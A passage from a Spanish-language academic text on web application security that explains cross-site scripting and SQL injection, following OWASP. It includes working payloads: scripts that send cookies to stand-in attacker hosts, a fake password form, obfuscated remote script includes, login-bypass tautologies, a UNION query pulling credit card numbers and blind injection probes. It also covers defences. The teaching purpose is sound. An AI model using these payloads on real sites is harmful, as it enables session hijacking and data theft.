autenticación. Las credenciales de las cuentas de usuario y los tokens de sesión no están 
propiamente protegidos o no son almacenadas de manera encriptada. Los mecanismos de 
control de acceso no son lo suficientemente robustos por lo que pueden ser salteados 
mediante atajos.  Los agresores, al comprometer las contraseñas, llaves, cookies de sesión u 
otro token, pueden vencer las restricciones de autenticación y asumir la identidad de otros 
usuarios.  

 

3.2.2.3 Manejo inadecuado de errores 
 

Condiciones de error que ocurren durante la operación normal no son manejadas 
adecuadamente. Un agresor puede causar que ocurran errores que la aplicación web no 
maneja, y de esa manera obtener información detallada del sistema, denegar servicios o 
incluso derribar el servidor. 

 

3.2.3 Descripción detallada de las vulnerabilidades 
 

3.2.3.1 Entrada no validada: Fallas de Cross-Site Scripting (XSS) 

Descripción 
 
Las fallas de cross-site scripting (abreviadas como XSS para evitar confusión con 
Cascading Style Sheets) ocurren cuando un atacante utiliza una aplicación web para mandar 
código malicioso, generalmente en la forma de un script, a un usuario diferente. 
Estas fallas están muy generalizadas y aparecen como resultado de validaciones o filtrados 
insuficientes de datos recibidos de una persona maliciosa que luego son enviados a terceras 
partes. 

La mayoría de estos ataques utilizan los tags <script> e intentan insertar alguna clase de 
formateo HTML que ejecute una función arbitraria. Sin embargo debe tenerse en cuenta que 
este ataque puede usar cualquier lenguaje de scripts: VBScript, JavaScript, ActiveX, 
ActionScript (Flash), etc. 
El navegador del usuario final  no tiene forma de saber que el script  puede no ser confiable 
y lo ejecutará, porque piensa que vino de una fuente confiable. El script malicioso puede 
acceder a cualquier cookie, token de sesión u otra información sensitiva retenida por su 
navegador y utilizada con el sitio al que está accediendo. Estos pequeños programas pueden 
hasta re-escribir el contenido de una página HTML. 
Los ataques XSS pueden generalmente ser clasificados en dos categorías: almacenados y 
reflejados. 

Los ataques almacenados son aquellos en donde el código inyectado es almacenado 
permanentemente en el servidor objetivo, por ejemplo en una bases de datos, en un foro de 
mensajes, en un archivo de visitantes, en campos comentados, etc. Entonces la víctima 
recupera el script malicioso del servidor cuando solicita la información almacenada. Estos 
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ataques son usualmente más significativos que otros tipos de ataque porque el atacante 
puede inyectar el script una sola vez, y podría potencialmente afectar a un gran número de 
otros usuarios sin utilizar prácticamente ingeniería social. 

 Los ataques reflejados son aquellos donde el código inyectado es reflejado desde el 
servidor, tal como un mensaje de error, resultado de una búsqueda o cualquier otra respuesta 
que incluya alguna o todas las entradas mandadas al servidor como parte de una petición. 
Este ataque es posible cuanto los datos provistos por un usuario web es usado 
inmediatamente por scripts en el lado del servidor para generar una página de resultados 
para dicho usuario. Los ataques reflejados son entregados a las víctimas mediante otra ruta, 
tal como un mensaje de correo electrónico o algún otro servidor web. Cuando un usuario es 
engañado para hacer clic a un enlace malicioso, el código inyectado viaja al servidor web 
vulnerable, el cual refleja el ataque de regreso al navegador del usuario. El navegador 
ejecuta el código porque viene de un servidor ‘confiable’. A diferencia del XSS 
almacenado, se necesita de ingeniería social para convencer al usuario de que vaya a una 
URL  maliciosa. 

 

Alcance del ataque 
 
 El ataque XSS puede ser usado para realizar las siguientes acciones: 
 

• Cambiar la apariencia de una página web 
• Enviar datos desde la máquina del usuario  
• Obtener la cookie de un usuario en el contexto de un sitio 
• Recolectar estadísticas 
• Etc. 
 

Cambiar la apariencia de una página web 
Un atacante puede cambiar simplemente el texto mostrado por una página web. Por 
ejemplo, la salida puede ser distorsionada cuando se intercalan tags no cerrados tales 
como <b>, <font size=+10>, <font size=-10>, y <font color=white>, los cuales 
explícitamente afectan el tamaño, color y otras propiedades de los elementos mostrados. 
Si se abre un tag de comentario <!--, toda la información que le sigue no será desplegada 
hasta que se encuentre el tag de cierre. 
 Es posible también incrustar código JavasScript que abra ventanas, muestre mensajes 
irrelevantes, cambie el tamaño y/o  posición de la ventana del navegador, y que realice 
otras acciones que entorpezcan el normal funcionamiento del sistema del cliente. 
 Sin embargo, el atacante puede cambiar completamente el contenido de una página 
HTML sin utilizar código JavaScript.  
Un ejemplo es el envío del siguiente código HTML: 
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En este caso sólo se mostraría el texto dentro de los tags <div>. Esto se debe a que en el 
comienzo del código se declara un estilo #elem que determina los parámetros del layer: 
z-index es seteado a 1 (el valor por defecto es 0), se especifica la posición absoluta, la 
posición del layer es seteada a la esquina superior izquierda, su tamaño es seteado como 
el del documento, y el fondo es puesto de color blanco (el color por defecto es 
transparente). Como resultado, el layer no transparente ocupa la ventana del navegador 
completa y contiene datos ingresados por el usuario. En realidad, los contenidos no son 
cambiados, sino que son “tapados” por otros datos. Una versión más corta del código 
anterior es el siguiente: 
 
 

 
 
   
Utilizando JavaScript, un atacante podrá dirigir a un usuario a cualquier página. Por 
ejemplo, un usuario que visita una página que muestra el siguiente mensaje, será 
redirigido a la página http://www.hacker.com: 
 

 
 
 
Este ataque puede ser usado para obtener la información de autenticación del usuario. El 
sitio falso podría tener la apariencia y funcionalidad del sitio original, entonces si el 
usuario no presta atención a la dirección del sitio, ingresará sus datos de autenticación 
(usuario y password) los cuales serán enviados al atacante.  
Es posible lograr mostrar el contenido de otro sitio, sin mostrar su URL en el navegador 

<style> 
   #elem 
   { 
      z-index: 1; 
position: absolute; 
     top: 0; 
     left: 0; 
     width: 100%; 
     height: 100%; 
     background-color: #ffffff; 
   } 

</style> 
<div id=elem> 
<b>El nuevo texto para la página web 
</div> 

<div style=z-index:1;position:absolute;top:0;left:0; 
   width:100%;height:100%;background-color:#ffffff; > 

     <b>El nuevo texto para la página web 
</div> 
 

<script Language=JavaScript> 
     document.location.href=" http://www.hacker.com"; 

</script> 
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e incluso sin usar JavaScript. La forma de hacerlo es incrustando un elemento iframe 
que ocupe el espacio completo de la pagina, como muestra este ejemplo: 
 

 
 
 
 
Veamos ahora un ejemplo de un ataque relacionado  indirectamente con XSS que puede 
ser lanzado aún cuando la vulnerabilidad XSS no está presente explícitamente. 
Supongamos que un chat, un foro, un grupo de noticias, u otro servicio permiten a sus 
usuarios dejar mensajes para otros usuarios e incluir imágenes de otros sitios en sus 
mensajes. También supongamos que el agregado de imágenes a mensajes está bien 
diseñado y no puede ser usado para otro propósito. Un usuario, por ejemplo, para 
agregar una imagen tiene que insertar código especial ([IMG=http://sitio/img.jpg]) 
dentro de su mensaje. Esto agrega la imagen desde http://sitio/img.jpg. Supongamos que 
el texto correspondiente a la URL es filtrado de manera que sólo pueda contener letras 
mayúsculas y minúsculas, barras, guiones y dos puntos. Con dicho filtro, la 
funcionalidad de agregar una imagen está limitada a las características documentadas. 

Sin embargo, un atacante puede proveer un link a una URL que responda de una 
manera particular: un servidor malicioso puede responder con el header “401 
Unauthorized”. La mayoría de los navegadores, ante esta respuesta, muestran una 
ventana sugiriendo al usuario que ingrese el login y password y conteniendo texto 
especificado por el dueño del servidor malicioso. Para lograr esto, el atacante ubicaría la 
imagen pedida dentro de una parte del servidor protegida con password. Este ataque 
puede ser usado para distorsionar la página HTML, para hacer aparecer cajas de diálogo, 
y para obtener información del usuario sugiriéndole que ingresen sus logins y 
passwords. De acuerdo con la autenticación básica HTTP, el navegador enviará los 
datos ingresados al servidor malicioso, el cual podría enviar al usuario una imagen para 
evitar sospechas. 

Notemos que no importa qué extensión tiene el archivo con la imagen, ya que el 
servidor especificado en su URL pertenece al atacante. Éste puede configurar su servidor 
de manera que un pedido de un documento JPG pase el control a un script PHP que 
devuelve el header HTTP que requiere autorización, y muestre una imagen luego de la 
autorización. 

 
 
 

   <style> 
   #elem 
   { 
     z-index: 1; 
     position: absolute; 
     top: 0; 
     left: 0; 
     width: 100%; 
     height: 100%; 
     background-color: #ffffff; 
   } 

   </style> 
   <div id=elem> 

<iframe src=http://www.hacker.com width=100%  height=100%></iframe> 
   </div> 
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Enviar datos con JavaScript 
 

Una vez que un script JavaScript  ha obtenido algunos datos de interés, debe enviárselos 
al atacante. Una manera sería crear un formulario y enviarlo mediante el método HTTP 
POST. Por ejemplo, para enviar el valor de la variable test, el atacante debería incrustar 
el siguiente código: 
 

 
 
 

La desventaja de este método es que el usuario será redireccionado a  la página del 
servidor malicioso cuando los datos son enviados. El script en el servidor del atacante 
debería llevar al usuario al sitio original o simular la interface del sitio original 
Entre otros métodos existentes para enviar datos, resaltaremos uno que casi “invisible”. 
Está basado en el uso del objeto JavaScript Image. Un ejemplo de tal código es el 
siguiente: 
  

 
   
 

Este código utiliza el método HTTP GET para enviar datos al script 
http://www.atacante.com/test.php como si fuera una imagen. No importa si el 
documento es una imagen real o no. Para mayor compatibilidad, el script puede devolver 
una imagen real con los headers apropiados luego de que almacena los datos. 

 
Obtener cookies de los usuarios 
 
Los ataques XSS más severos involucran la obtención  de una cookie de sesión de 
usuario, permitiendo a un atacante secuestrar la sesión de usuario y apoderarse de la 
cuenta.  

En muchos sistemas de autenticación y autorización, las cookies contienen suficiente 
información para que el atacante obtenga los derechos de acceso del usuario víctima en 
el sistema. Por ejemplo, una cookie puede contener un password desencriptado, su 
hash1 y una ID (identificación) de sesión. Cuando se almacena un hash del password, el 

                                                
1 Se denomina hash de un password al resultado de aplicarle a este último una función de encriptación de un solo sentido 

<script> 
 test='abcd'; 
document.open(); 
document.write("<form name=fl  

action=http://www.atacante.com/test.php 
METHOD=POST> 
<input type=hidden name=data value='"+test+'"></form>"); 

 document.close(); 
 document.f1.submit(); 

 </script> 
 

<script> 
   test="dsfsdfsdf"; 
   idata = new Image; 
   idata.src="http://www.atacante.com/test.php?data="+test; 

 </script> 
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atacante puede tratar de encontrar el password. Sin embargo, el atacante no siempre 
necesita conocer el password para autenticarse en el sistema. Si la autenticación en un 
sistema compara el hash del password original con el valor almacenado en la cookie del 
usuario, el atacante sólo debería insertar el hash robado dentro de su cookie. Una 
situación similar ocurre cuando una cookie almacena el ID de sesión. Para obtener los 
derechos del propietario del ID, el atacante debería insertar el ID dentro de su cookie. En 
otras palabras, si la autenticación en un sistema está basado en parámetros de 
COOKIE y el usuario, cuyos valores de cookie fueron interceptados en el contexto de 
un sitio vulnerable, fue autenticado en el sistema en ese momento, un atacante puede 
obtener el acceso de dicho usuario simplemente reemplazando los valores de su cookie 
con los de la cookie del usuario en el contexto de ese sitio. Todo esto es posible porque 
la propiedad cookie del objeto documento contiene valores de cookie en el contexto del 
sitio actual. Para ser más precisos, document.cookie contiene parámetros de cookie en el 
siguiente formato: namel=valuel; name2=value2 

Cuando una vulnerabilidad XSS está en una página del sitio objetivo, el atacante 
puede robar los valores de cookie escribiendo un script JavaScript que le envíe estos 
valores. 

Si el valor document.cookie es enviado como un parámetro HTTP GET a un script, 
algunas veces será necesario codificar este valor como URL (URL-encode) antes de 
insertarlo como valor del parámetro. Para ello, el atacante puede usar la función 
JavaScript escape(). Veamos un ejemplo: 

 

 
 
 
Recolectar estadísticas 
 
El ataque XSS puede ser usado para recolectar estadísticas sobre los visitantes de las 
páginas vulnerables. En el caso más simple, un atacante no necesita la vulnerabilidad. El 
sistema objetivo sólo debe cumplir con el requisito de que sus usuarios puedan insertar 
imágenes de otros servidores en sus mensajes (Ej.: foro, chat). Entonces el atacante 
simplemente debería insertar imágenes ubicadas en un servidor bajo su control. Cuando 
una imagen es pedida a ese servidor, éste ejecutará código malicioso (en PHP o Perl), 
guardando algunos datos estadísticos y enviando un header apropiado y una imagen. De 
esta manera, las estadísticas serán colectadas transparentemente para el sistema y sus 
usuarios. 

Algunos elementos de interés para realizar estadísticas son: 
 

Direcciones IP de los visitantes: aún cuando el sistema no muestra sus 
direcciones IP, el atacante puede averiguarlas.  
 
Hora de visita: esto permite al atacante averiguar qué usuario tiene una cierta 
dirección IP. 
 

 
<script> 

idata = new Image; 
idata.src="http://www.atacante.com/cookie.php?cook="+ 

escape(document.cookie); 
</script> 
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HTTP Referer: cuando se cargan imágenes, algunos navegadores envían el header 
Referer de un pedido HTTP que incluye  la URL original de la página que contiene 
la imagen. De esta manera, el atacante puede recolectar información sobre qué 
páginas son visitadas y quién las visita. Además, el atacante puede interceptar IDs 
de sesión y otros datos enviados con el método HTTP GET. 
 
Tipo de navegador: el campo User-Agent del header en un requerimiento HTTP 
contiene información sobre el navegador y el sistema operativo del usuario.  

 
 

 
Incrustar  código JavaScript como eventos 
 
De acuerdo a lo visto anteriormente, se podría inferir que filtrando el string “script” y los 
caracteres “<” y “>” se podría eliminar la vulnerabilidad XSS. Sin embargo existe una 
alternativa que permite a los atacantes incrustar código JavaScript sin usar dichos caracteres. 

Consideremos el ejemplo de un sistema de foro o chat que permite a sus usuarios 
agregar links a cualquier página usando la siguiente sintaxis:  
 

[A=URL]texto[/A]. 
 

El filtrado utilizado es el siguiente: 
 
Los caracteres “<” y “>” y las comillas son filtrados mediante su reemplazo con las 
secuencias &lt;, &gt;, y &quot; respectivamente.  

 
Entonces, si un usuario ingresa:  

 
[A=test"test<b>dfdf dfdf 'df'] test"test<b>dfdf dfdf 'df' [/A] 

  
El código HTML de salida sería: 
 

<a href=test&quot;test&lt;b&gt;dfdf dfdf 'df'>test&quot;test&lt;b&gt;dfdf dfdf 'df' </a> 
 

Sin embargo, un atacante puede ejecutar cualquier código JavaScript manipulando los 
eventos del objeto de hipervínculo. Por ejemplo, si se agregara el siguiente mensaje: 

 
[A=x onClick=alert('hola');return/**/false]Haceme click[/A] 

 
el navegador recibiría: <a href=x onClick=alert('hola');return/**/false> Haceme click </a> 
de manera que si se siguiera dicho link, se ejecutaría el código JavaScript especificado. 

El atacante no encerró el código JavaScript entre comillas ya que éstas son filtradas. 
Como los apóstrofes han sido usados en el código, una forma de mantener el código como 
una unidad, es no utilizar espacios. Para evitar los espacios, se inserta la secuencia /**/. Aún 
si los apóstrofes fueran prohibidos, el atacante podría codificar el string deseado usando la 
función string.fromCharCode(). 

 
 



 27 

Protección y tratamiento contra Cross Site Scripting (XSS)  
 
La mejor protección  contra los ataques de XSS es una combinación de una validación 
mediante “lista blanca” (whitelist validation) de todos los datos de entrada, y de una 
codificación apropiada de todos los datos de salida. La validación permite la detección de 
ataques, mientras que la codificación previene la ejecución en el navegador de cualquier 
inyección exitosa de scripts. 

Es recomendable no usar una validación basada en lista negra (blacklist validation) para 
detectar XSS en la entrada ni para determinar qué codificar en la salida. La búsqueda y 
reemplazo de sólo unos pocos caracteres (“<”,”>”, etc) o frases (por ej. “script”) es un 
método débil de prevención, el cual resulta en ataques exitosos.  XSS tiene un número 
sorprendente de variantes lo que le permite sortear fácilmente una validación basada en lista 
negra.  [OWASP2]    

 
 Validación de la entrada: conviene usar un mecanismo de validación de entrada para 

validar todos los datos de entrada por longitud, tipo, sintaxis y reglas de negocios antes de 
ser mostrados o almacenados. Como se mencionó previamente, debería usarse una estrategia 
de validación que acepte sólo aquello que se sabe es seguro. Es decir se opta por rechazar 
una entrada inválida en vez de intentar “sanar” datos potencialmente peligrosos. 

 Codificación fuerte de la salida:   debemos asegurarnos que todos los datos provistos por 
el usuario son apropiadamente codificados (entidad-codificados HTML o XML) antes de ser 
mostrados, siguiendo el enfoque de codificar todos los caracteres que son distintos a una 
subconjunto muy limitado. Las aplicaciones pueden ganar una protección significativa 
contra los ataques basados en JavaScript al convertir, en todas las salidas generadas, los 
caracteres siguientes a la entidad de codificación HTML apropiada: 

 
De: A: 
< &lt; 
> &gt; 
( &#40; 
) &#41; 
# &#35; 
& &#38; 

 
 

Testeo de Cross Site Scripting (XSS)  
 

Comprobar la existencia de XSS a menudo resulta en una ventana de alerta JavaScript que 
se muestra al usuario, quien podría fácilmente minimizar la importancia del hallazgo. Sin 
embargo, la ventana de alerta debe ser interpretada como una señal de que un atacante puede 
ejecutar código de manera arbitraria. 

 
  Pruebas de caja negra  

Un método para comprobar la presencia de vulnerabilidades XSS es verificar si una 
aplicación o un servidor web responde a peticiones conteniendo scripts sencillos, con 
una respuesta HTTP que ejecutará  el navegador web. Por ejemplo, el servidor 
Sambar2 (versión 5.3) es un servidor web popular, gratuito y con vulnerabilidades 

                                                
2 Sambar Server : www.sambar.com 
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XSS conocidas. Enviando al servidor una petición como la siguiente, se genera una 
respuesta del servidor, que curiosamente será ejecutada por el navegador web: 

 

 
 

             
El navegador ejecuta el script porque la aplicación genera un mensaje de error 

conteniendo el script original, y el navegador interpreta la respuesta como un script 
ejecutable originado por el servidor web. Todos los servidores web y las aplicaciones 
web son potencialmente vulnerables a este tipo de uso indebido, y prevenir este tipo 
de ataques es extremadamente difícil.  

Ejemplos de ataques XSS 
 

Ejemplo 1: Inyección de código HTML 
 

� HTML entrada (vista) 
 

<form … > 
<input type="text" name="username"/>. . . 
 

� Aplicación (controlador) 
 

DynaActionForm dynaForm = (DynaActionForm) form; 
String username = (String) dynaForm.get("username"); 
request.setAttribute("output", “Hola” + username); 

 
� HTML salida (vista) 
 

<body>${output}</body> 
 
� Entrada normal: 
 

Pedro 
 
� Entrada maliciosa en el formulario: 
 

Pedro <br/> Por favor ingrese su clave 
<form action="http://hack:8080/"> 
<input type="password" name="clave" method="get"/> 
</form> 

 
� URL maliciosa enviado por correo: 
 

http://empresa:8080/fluidwarns/injection/html/injecti 
on.do?username=Señor usuario<br/> Por favor ingrese 
su clave<form action="http://hack:8080/"><input 
type="password" name="clave" method="get"/></form> 

 
 

Ejemplo 2: Inyección de código JavaScript 

http://server/cgi-bin/testcgi.exe?<SCRIPT>alert(“Cookie”+document.cookie)</SCRIPT> 
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� Aplicación (controlador) 
 

PreparedStatement statement = 
connection.prepareStatement("select * from tbl_todo;"); 
ResultSet result = statement.executeQuery(); 
Collection todo = new ArrayList(); 
while (result.next()) { 

String task = result.getString("task"); 
todo.add(task); 
} 

return todo; 
 

� HTML de salida (vista) 
 

<c:forEach var="task" items="${todo}"> 
<tr><td>${task}</td></tr> 
</c:forEach> 

 
� Entrada normal: 
 

Tarea: Construir propuesta 
Tarea: Evaluar la seguridad del sistema 
 

� Salida normal: 
 

Construir propuesta 
Evaluar la seguridad del sistema 
 

� Entrada maliciosa en el formulario: 
 

Tarea: <script>document.location='http://hack:8080/?' 
+document.cookie</script> 
 

� Resultado final: 
 

Cookie en las manos del actor malintencionado 
 
[ALVA] 

 

 
Ejemplo 3:  
 
Como el lenguaje JavaScript es sensible a mayúsculas, alguna gente intenta filtrar los 
ataques XSS convirtiendo todos los caracteres a mayúsculas, pensando que así 
evitarán las situaciones de XSS. Si nos encontramos frente a este caso, puede que 
utilizar VBScript sea una buena idea, ya que no es un lenguaje sensible a 
mayúsculas.  
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JavaScript:  
 

 
 
VBScript:  
 

 
 
 

 
Ejemplo 4:  
 
Si están filtrando por el símbolo < o el comienzo de la etiqueta <script o su cierre, se 
debería probar con varios métodos de codificación:  
 

 
 
[OWASP3] 

 

Uso de Herramientas 
 
Para automatizar o mejorar nuestra tarea de prueba, es posible utilizar herramientas 

construidas especialmente para dicho fin. En el caso de necesitar probar si existe la 
vulnerabilidad de XSS, podemos utilizar CAL9000 [CAL9000]. Esta herramienta incluye 
una implementación ordenada de los ataques XSS de RSnake [RSNAKE]: 
codificador/decodificador de caracteres, generador de peticiones HTTP y evaluador de 
respuesta, lista de comprobación de pruebas, editor de ataques automatizados, etc.  

  
 
 
 

 
<script>alert(document.cookie);</script> 
 

 
<script type="text/vbscript">alert(DOCUMENT.COOKIE)</script> 

 
<script src=http://www.ejemplo.com/codigo-malicioso.js></script> 
 
%3cscript src=http:// www.ejemplo.com/codigo-malicioso.js %3e%3c/script%3e 
 
\x3cscript src=http:// www.ejemplo.com/codigo-malicioso.js \x3e\x3c/script\x3e 
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3.2.3.2 Entrada no validada: Ataques de inyección SQL 
 

Descripción 
La inyección SQL es una forma de inyección peligrosa y está particularmente generalizada. 
Para explotar una falla de inyección SQL, el atacante debe encontrar un parámetro que la 
aplicación web pase hacia la base de datos. Mediante la inserción cuidadosa de comandos 
SQL en el contenido del parámetro, el atacante puede engañar a la aplicación web para que 
envíe una solicitud maliciosa a la base de datos.  

Errores de inyección SQL ocurren cuando: 
• La información que entra al sistema proviene de una fuente no confiable. 
• La información es utilizada para generar consultas SQL dinámicamente. 

 
Generalmente los ataques de este tipo utilizan la introducción de caracteres especiales de 

control, explotando la idea de que las bases de datos no distinguen entre este tipo de 
caracteres e información propiamente dicha. 

Los ataques de inyección SQL pueden dividirse en tres clases: 
• Inband: la información es extraída a través del mismo canal que se utiliza para 

inyectar el SQL inicial. Este ataque es el más común y rápido, ya que la información 
es retornada directamente por la aplicación web atacada. 

• Out-of-band: la información es retornada utilizando un canal diferente, como puede 
ser el e-mail. 

• Inferido: en este caso no existe información retornada, sino que se puede inferir 
enviando requerimientos particulares al servidor y analizando los resultados y el 
comportamiento del servidor de base de datos. 

 
Independientemente del tipo de ataque, puede ser que la aplicación devuelva un mensaje 

de error generado por una consulta incorrecta, con lo cual será fácil reconstruir la lógica de 
la consulta original y por lo tanto comprender como se puede realizar una inyección en 
forma correcta. 

Sin embargo, si la aplicación oculta detalles sobre el error producido, entonces debemos 
aplicar ingeniería inversa para comprender la lógica de la consulta original. Este último 
caso, es lo que se conoce como Inyección ciega "Blind SQL Injection". 

 [OWASP7] 

Alcance  
 

Las consecuencias de este tipo de ataque son particularmente dañinas ya que un atacante 
puede obtener información sensible, corromper o destruir el contenido de una base de datos. 
También podría ejecutar operaciones de administración de base de datos, como puede ser 
bajar el servido de base de datos, y hasta en algunos casos tomar control del sistema 
operativo. 

Las consecuencias se podrían enumerar de la siguiente manera, según el criterio que 
afectan: 

• Confidencialidad: una base de datos generalmente almacena información sensible, y 
la pérdida de confidencialidad es un problema frecuente con este tipo de 
vulnerabilidad. 

• Autenticación: si los comandos utilizados para chequear los nombres de usuarios y 
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claves son deficientes, es probable que se pueda obtener una conexión al sistema sin 
la utilización de ninguna clave de acceso. 

• Autorización: si la información de autorización es almacenada en la base de datos, 
podría ser posible modificarla de manera de obtener accesos indeseados. 

• Integridad: así como es posible acceder a información sensible, también puede ser 
posible modificar dicha información.�

 
 

Ejemplos de ataques de inyección  SQL  
   

Ejemplo 1 
 

A continuación se muestra un ejemplo donde se utiliza una tautología conocida para 
romper el acceso al sistema: 

La Figura 1, muestra una aplicación web típica, en la cual el usuario desde una 
computadora cliente puede acceder a los servicios de una base de datos provistos a través 
de un servidor de aplicación.  

Cuando el usuario ingresa su nombre de usuario y su clave en el formulario web y 
presiona el botón submit, la URL http://foo.com/show.jsp?login=doe&pass=xyz es 
generada y enviada al servidor web. En la Figura 1 también se muestra qué componentes 
de la aplicación web manejan cada parte de la URL. 

 

 
Figura 1: Una URL y su procesamiento en una aplicación web típica 

 
 

La entrada del usuario es interpretada por show.jsp, quien utiliza la información 
ingresada por el usuario para generar una consulta SQL dinámicamente. La consulta se 
ejecuta y por último se retorna la correspondiente página HTML de respuesta. 

Consideremos que en el campo login escribimos ’ ’ OR 1=1 --’, y esta información es 
pasada a la base de datos como parámetros de la consulta. El resultado de ejecutar la 
consulta retornará información sobre de todos los usuarios en el sistema. 
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Ejemplo 2: Forma Estándar  
 
Consideremos la siguiente consulta SQL : 

 
  

  
 
 

  
Generalmente se utiliza una consulta similar a esta para autenticar a un usuario en una 

aplicación web. Si la consulta devuelve un valor, significa que en la base de datos existe 
un usuario con esas credenciales, y se le concede el acceso al sistema, si no es así, se le 
deniega el acceso. Los valores de los campos de entrada que facilita el usuario 
normalmente se insertan a través de un formulario web [OWASP9]. Supongamos que 
introducimos los siguientes valores para los campos Usuario y Contraseña:  

 
$username = 1' or '1' = '1 
$password = 1' or '1' = '1 
 
La consulta será:  
 
SELECT * FROM Users WHERE Username= '1' OR '1' = '1'  
      AND Password= '1' OR '1' = '1'  
 
Si suponemos que los valores de los parámetros se envían al servidor a través del 

método HTTP GET, y el sitio vulnerable es www.example.com, entonces la petición será: 
 

 
 
 
Tras un breve análisis, nos damos cuenta de que la consulta devuelve un valor (o un 

conjunto de valores) porque la condición siempre es verdadera (OR 1=1). De este modo, el 
sistema ha autenticado al usuario sin conocer el usuario y ni su contraseña. En algunos 
sistemas la primera fila de una tabla de usuario podría ser la correspondiente a un usuario 
con privilegios de administrador. En algunos casos este podría ser el perfil utilizado en la 
respuesta.  

Otro ejemplo de este tipo de consulta será la siguiente: 
 

 
 
 
En este caso hay dos problemas: uno debido al uso de paréntesis y otro debido al uso 

de una  función de hash MD5.En cuanto a los paréntesis, añadiremos un cierto 

 
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1& 

password=1'%20or%20'1'%20=%20'1 
 

 
SELECT * FROM Users WHERE ((Username='$username') AND 
   (Password=MD5('$password')))  
 

 
SELECT *  
FROM Users  
WHERE Username='$username' AND  

    Password='$password' 
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número de paréntesis de cierre hasta obtener una consulta correcta. En cuanto al uso de la 
función de hash MD5 añadiremos al final de nuestra consulta un símbolo que al ser 
interpretado por el motor de BD resulte en ignorar cualquier término posterior, ya que se 
trata de un comentario. Cada motor de bases de datos tiene sus propios símbolos de 
comentarios, sin embargo el más común es /*. En Oracle es el símbolo es —. Dicho esto, 
los valores que usaremos para los parámetros Usuario y Contraseña son:  

 
 

 
 
 
De este modo obtenemos la siguiente consulta:  
 

 
 
 
La petición url será:  
 

 
 
 
Como respuesta nos devolverá un cierto número de valores. Frecuentemente el código 

de autenticación verifica si la cantidad de tuplas devueltas es exactamente igual a 1 (uno). 
En los ejemplos anteriores, esta situación sería difícil.de sortear. Sin embargo, si 
insertamos un comando SQL que impone la condición que la cantidad de tuplas devueltas 
sea uno, sería suficiente.. Para conseguir este propósito, utilizamos el comando LIMIT 
<num>, donde <num> es el número de las tuplas que esperamos nos devuelva la consulta. 
Modificamos el valor de los campos Usuario y Contraseña del ejemplo anterior de esta 
forma:  

 

 
 
 
 
 
 
 
 

 
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/* 

        &password=foo  

 
$username = 1' or '1' = '1'))/* 
$password = foo 

 

 
SELECT *  
FROM Users  
WHERE  ((Username='1' or '1' = '1'))/*')  

AND (Password=MD5('$password')))  
 

 
$username = 1' or '1' = '1')) LIMIT 1/*  
$password = foo  
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De modo que creamos una petición como la siguiente:  
 

 
 
 
Ejemplo 3:  Forma Union Query 

 
Otro ataque que podemos realizar, conlleva el uso del operador UNION. Mediante esta 
operación es posible, en caso de que exista una inyección de SQL, unir intencionadamente 
una consulta a la original. El resultado de la falsa consulta que forzamos, se unirá al 
resultado de la consulta original, permitiéndonos obtener los valores de los campos de 
otras tablas [OWASP9].  

Supongamos, a modo de ejemplo, que la consulta ejecutada en el servidor es la 
siguiente:  
 

 

 
 
 
Si asignamos el iguiente valor de Id:  
 

 
 
 
Obtendremos la siguiente consulta:  
 

 
 
 
Que se unirá al resultado de la consulta original con todos los números de las tarjetas 

de crédito de los usuarios. La palabra reservada ALL es necesaria para sortear las 
consultas que hacen uso de la palabra reservada DISTINCT. Además podemos apreciar 
que no sólo hemos seleccionado los números de las tarjetas de crédito, sino también otros 
dos valores. Estos dos valores son necesarios, porque las dos consultas deben tener igual 
número de parámetros, para evitar un error de sintaxis.  

 
Ejemplo 4: Inyección a Ciegas  
 
Consideramos el dominio http://www.example.com, y consideremos que contiene un 
parámetro vulnerable a inyecciones SQL de nombre id [OWASP9]. Esto significa que si 

SELECT Name, Phone, Address  
FROM Users  
WHERE Id=1 UNION ALL SELECT creditCardNumber, 1, 1                     

FROM CreditCardTable  
 

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable 
 

SELECT  Name, Phone, Address  
FROM Users  
WHERE Id=$id  

 

 
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20
LIMIT%201/*&password=foo  
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llevamos a cabo la siguiente petición http://www.example.com/index.php?id=1', 
obtendremos una página con un mensaje de error personalizado, debido a un error 
sintáctico en la consulta. Supondremos que la consulta ejecutada en el servidor es 
[OWASP7]: 

 

 
 
que es explotable mediante los métodos vistos anteriormente. Lo que queremos es 

obtener los valores del campo usuario. Las pruebas que ejecutaremos nos permitirán 
obtener el valor del campo usuario, extrayéndolo carácter por carácter. Esto es posible 
gracias al uso de algunas funciones estándar, presentes prácticamente en todas las bases de 
datos. Para nuestros ejemplos, usaremos las siguientes pseudo-funciones:  

• SUBSTRING (text, start, length): devuelve una subcadena comenzando por la 
posición inicial del texto (start) y de longitud “length”. Si “start” es mayor que la longitud 
del texto, la función devuelve un valor null. 

• ASCII (char): devuelve el valor ASCII del carácter de entrada. Devolverá un valor 
nulo si char es 0. 

• LENGTH (text): devuelve la longitud en caracteres del texto de entrada. 
 
Por medio de estas funciones ejecutaremos nuestras pruebas sobre el primer carácter y, 

cuando hayamos descubierto el valor, pasaremos al siguiente, hasta que hayamos 
descubierto el valor en su totalidad. Las pruebas se benefician de la función SUBSTRING 
para seleccionar sólo un carácter cada vez (seleccionar un único carácter supone imponer 
la longitud del parámetro a 1) y la función ASCII para obtener el valor ASCII, para así 
poder hacer una comparación numérica. Los resultados de la comparación se harán con 
todos los valores de la tabla ASCII, hasta encontrar el valor deseado.  

Como ejemplo insertaremos el siguiente valor para Id:  
 

 
 
De esta manera se crea la siguiente consulta, a la que llamaremos “consulta de 

inferencia”:  
 

 
 
 
La consulta de inferencia, devuelve un resultado si y sólo si el primer carácter del 

campo usuario, username, es igual al valor ASCII 97. Si obtenemos como respuesta un 
valor falso, incrementamos el índice de la tabla ASCII de 97 a 98 y repetimos la petición. 

 
SELECT field1, field2, field3  
FROM Users  
WHERE Id='$Id'  
 

 
$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1  

 

SELECT field1, field2, field3  
FROM Users  
WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97  
AND '1'='1' 
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Si ahora obtenemos un valor verdadero, fijamos a cero el índice de la tabla y pasamos a 
analizar el siguiente carácter, modificando los parámetros de la función SUBSTRING. El 
problema es comprender de qué modo podemos distinguir la prueba que ha originado un 
valor verdadero, de la que ha tenido como resultado uno falso. Para hacer esto, creamos 
una consulta que generará sin duda un valor falso. Esto es posible con el siguiente valor 
